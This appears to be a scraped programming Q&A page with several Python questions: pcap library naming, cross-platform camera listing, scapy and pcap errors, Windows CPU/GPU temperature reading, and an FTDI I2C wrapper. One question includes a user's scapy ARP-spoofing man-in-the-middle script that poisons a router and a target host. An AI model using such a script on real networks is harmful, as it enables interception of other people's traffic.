'module' object has no attribute 'pcapObject' - python

I have the following sample code which doesn't seem to want to run.
import pcap
pc = pcap.pcapObject()
dev = sys.argv[1]
pc.open_live(dev, 1600, 0, 100)
pc.setfilter("udp port 53", 0, 0)
while 1:
pc.dispatch(1, p.pcap_dispatch)
I'm really not sure why. I'm using pypcap. I'm running this on both 2.5.1 and 2.6 versions of python (separate machines) using mac osx (leopard).

At least according to documentation from the project this line:
pc = pcap.pcapObject()
Should really be:
pc = pcap.pcap()

There are two pcap libraries for Python:
pypcap
pylibpcap
Both of them are imported as:
import pcap
But the following code implies that pylibpcap is actually expected, instead of pypcap.
pcap.pcapObject()

I dont have python on this Computer, but when i look at the example, it should be
pc = pcap.pcap ()

Related

Converting code using wmi to code using ffmpy

I have the following code that prints out the names of USB cameras connected to my PC:
import wmi
c = wmi.WMI()
wql = "Select * From Win32_USBControllerDevice"
for item in c.query(wql):
a = item.Dependent.PNPClass
b = item.Dependent.Name.upper()
if (a.upper() == 'MEDIA' or a.upper() == 'CAMERA') and 'AUDIO' not in b:
print(item.Dependent.Name)
The problem with this code is that it only works in Windows. I want to alter this code so that it works on all operating systems. I know that I have to use something other than wmi, since wmi only works in Windows. So, I was thinking about using an ffmpeg wrapper called ffmpy. So maybe I could convert the code to use ffmpy? I got the code above from the following SO post: Associate USB Video Capture Device Friendly Name with OpenCV Port Number in Python. Any help would be much appreciated! Thanks!
You can give pygrabber a shot. "# This code lists the cameras connected to your PC:" (source)
from pygrabber.dshow_graph import FilterGraph
graph = FilterGraph()
print(graph.get_input_devices())
# ['Integrated Webcam', 'EpocCam Camera']
The answer to this question is no; there is no OS-independent way of getting the names of USB cameras connected to your PC. However, there is platform-specific code that can get the job done: https://stackoverflow.com/a/68402011/13386603

Python scapy - Error :No libpcap provider available

I am using scapy for a simple MITM attack script (I am using it for educational perposes only of course), and I got this strange error which says : WARNING: No libpcap provider available ! pcap won't be used. I tryied looking this error up online but no one realy answered it. What does this error mean? Is it possible that I am just not using the script correctly? Any help vould be appreciated.
Here is my script:
import scapy.all as scapy
def get_target_mac(ip):
arp_request = scapy.ARP(pdst=ip)
broadcast = scapy.Ether(dst= 'ff:ff:ff:ff:ff:ff')
finalpacket = broadcast/arp_request
answer = scapy.srp(finalpacket, timeout=2, verbose=False)[0]
mac = answer[0][1].hwsrc
return(mac)
def restore(destination_ip, source_ip):
target_mac = get_target_mac(destination_ip)
source_mac = get_target_mac(source_ip)
packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=target_mac, pscr=source_ip, hwsrc = source_mac)
scapy.sendp(packet, verbose=False)
def spoof_arp(target_ip, spoofed_ip):
mac = get_target_mac(target_ip)
packet = scapy.ARP(op = 2, hwdst = target_ip, psrc=spoofed_ip)
scapy.sendp(packet, verbose=False)
def main():
try:
while True:
spoof_arp('router_ip', 'fake_ip')#I hided the real ip
spoof_arp('fake_ip', 'router_ip')
except KeyboardInterrupt:
restore('router_ip', 'fake_ip')
restore('fake_ip', 'router_ip')
exit(0)
I think that user16139739 give a possible solution. I got some problems with scapy, this being one of them, the stable has some know bugs which were corrected in the development version.
I did not install anything else, in my case perhaps I already used user16139739 solution before, but still get this error in some point and another with RawPcapReader, so I used the development version.
libpcap is a library for Unix, you need an alternate (npcap) or windows compatible counterpart (WinPcap)
I was able to remedy the problem by installing Nmap (Network Packet Manipulation Library for windows 10).

Problems reading a .pcap file in Python using scapy

I'm trying to create a program where I have to read a pcap file and then count the number of packets related to some IPs. I'm not used to program in Python but I have to use it because I'm using it on a Raspberry Pi and depending of the output I have to control several pins.
Right now I have this, but I have an error and I donĀ“t know how to solve it.
from scapy.all import *
from scapy.utils import RawPcapReader
from scapy.layers.l2 import Ether
from scapy.layers.inet import IP, TCP
def read_pcap(name_pcap):
print("Opening", name_pcap)
client_1 = '192.168.4.4:48878'
server = '10.0.0.2:80'
(client_1_ip, client_1_port) = client_1.split(':')
(server_ip, server_port) = server.split(':')
counter = 0
for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):
counter += 1
ether_pkt = Ether(pkt_data)
# Below here are functions to filter the data
read_pcap("captura.pcap")
And the error is this one:
NameError: name 'Packet' is not defined
The error apears to be in this (for(pkt_data, pkt_metadata,) in RawPcapReader(name_pcap):) line.
Someone knows how to solve it?
Thnak you :)
As Carcigenicate pointed out, that's a known bug. It's fixed in https://github.com/secdev/scapy/commit/ff644181d9bee35979a84671690d8cd1aa1971fa
You can use the development version (over https://scapy.readthedocs.io/en/latest/installation.html#current-development-version) in the meantime
Uninstall previous version & Install Latest version from https://pypi.org/project/scapy/
pip install scapy==2.5.0rc1
This should fix the error

Get CPU and GPU Temp using Python Windows

I was wondering if there was a way to get the CPU and the GPU temperature in python. I have already found a way for Linux (using psutil.sensors_temperature()), and I wanted to find a way for Windows.
A way to find the temperatures for Mac OS would also be appreciated, but I mainly want a way for windows.
I prefer to only use python modules, but DLL and C/C++ extensions are also completely acceptable!
When I try doing the below, I get None:
import wmi
w = wmi.WMI()
prin(w.Win32_TemperatureProbe()[0].CurrentReading)
When I try doing the below, I get an error:
import wmi
w = wmi.WMI(namespace="root\wmi")
temperature_info = w.MSAcpi_ThermalZoneTemperature()[0]
print(temperature_info.CurrentTemperature)
Error:
wmi.x_wmi: <x_wmi: Unexpected COM Error (-2147217396, 'OLE error 0x8004100c', None, None)>
I have heard of OpenHardwareMoniter, but this requires me to install something that is not a python module. I would also prefer to not have to run the script as admin to get the results.
I am also fine with running windows cmd commands with python, but I have not found one that returns the CPU temp.
Update: I found this: https://stackoverflow.com/a/58924992/13710015.
I can't figure out how to use it though.
When I tried doing: print(OUTPUT_temp._fields_), I got
[('Board Temp', <class 'ctypes.c_ulong'>), ('CPU Temp', <class 'ctypes.c_ulong'>), ('Board Temp2', <class 'ctypes.c_ulong'>), ('temp4', <class 'ctypes.c_ulong'>), ('temp5', <class 'ctypes.c_ulong'>)]
Note: I really do not want to run this as admin. If I absolutely have to, I can, but I prefer not to.
I think there doesn't have a directly way to achieve that. Some CPU producers wouldn't provide wmi to let your know the temperature directly.
You could use OpenHardwareMoniter.dll. Use the dynamic library.
Firstly, Download the OpenHardwareMoniter. It contains a file called OpenHardwareMonitorLib.dll (version 0.9.6, December 2020).
Install the module pythonnet:
pip install pythonnet
Below code works fine on my PC (Get the CPU temperature):
import clr # the pythonnet module.
clr.AddReference(r'YourdllPath')
# e.g. clr.AddReference(r'OpenHardwareMonitor/OpenHardwareMonitorLib'), without .dll
from OpenHardwareMonitor.Hardware import Computer
c = Computer()
c.CPUEnabled = True # get the Info about CPU
c.GPUEnabled = True # get the Info about GPU
c.Open()
while True:
for a in range(0, len(c.Hardware[0].Sensors)):
# print(c.Hardware[0].Sensors[a].Identifier)
if "/temperature" in str(c.Hardware[0].Sensors[a].Identifier):
print(c.Hardware[0].Sensors[a].get_Value())
c.Hardware[0].Update()
To Get the GPU temperature, change the c.Hardware[0] to c.Hardware[1].
Compare the result with :
Attention: If you want to get the CPU temperature, you need to run it as Administrator. If not, you will only get the value of Load. For GPU temperature, it can work without Admin permissions (as on Windows 10 21H1).
I did some changes from a Chinese Blog
I found a pretty good module for getting the temperature of NVIDIA GPUs.
pip install gputil
Code to print out temperature
import GPUtil
gpu = GPUtil.getGPUs()[0]
print(gpu.temperature)
I found it here
so you can use gpiozero to get the temp
first pip install gpiozero and from gpiozero import CPUTemperature to import it and cpu = CPUTemperature() print(cpu.temperature)
code:
from gpiozero import CPUTemperature
cpu = CPUTemperature()
print(cpu.temperature)
hope you enjoy. :)

FTDI specific - libftd2xx.so is not loaded when using python wrapper to libMPSSE.so

I have installed the FTDI libftd2xx.so following the FTDI installation guide. I also has the libMPSSE.so downloaded. I am writing a python wrapper to use the I2C functions in the libMPSSE.so
However, I got the following error when trying to run my code:
../../TopLayer/I2C/src/ftdi_i2c.c:239:I2C_InitChannel(): NULL expression encountered
According to https://stackoverflow.com/a/22994703/8406938, looks like it cannot find the libftd2xx.so
Here is my python wrapper:
filepath = 'my path to the libMPSSE.so'
mpsse = CDLL(os.path.join(filepath, 'libMPSSE.so')
ChannelConf = ChannelConfig()
ChannelConf.clock_rate = 100000
ChannelConf.LatencyTimer = 3
ChannelConf.Options = 0
status = mpsse.I2C_InitChannel(c_void_p()), byref(ChannelConf))
The exact same code work in my Windows machine with libMPSSE.dll with the windows driver. Any suggestion how to solve this?

Categories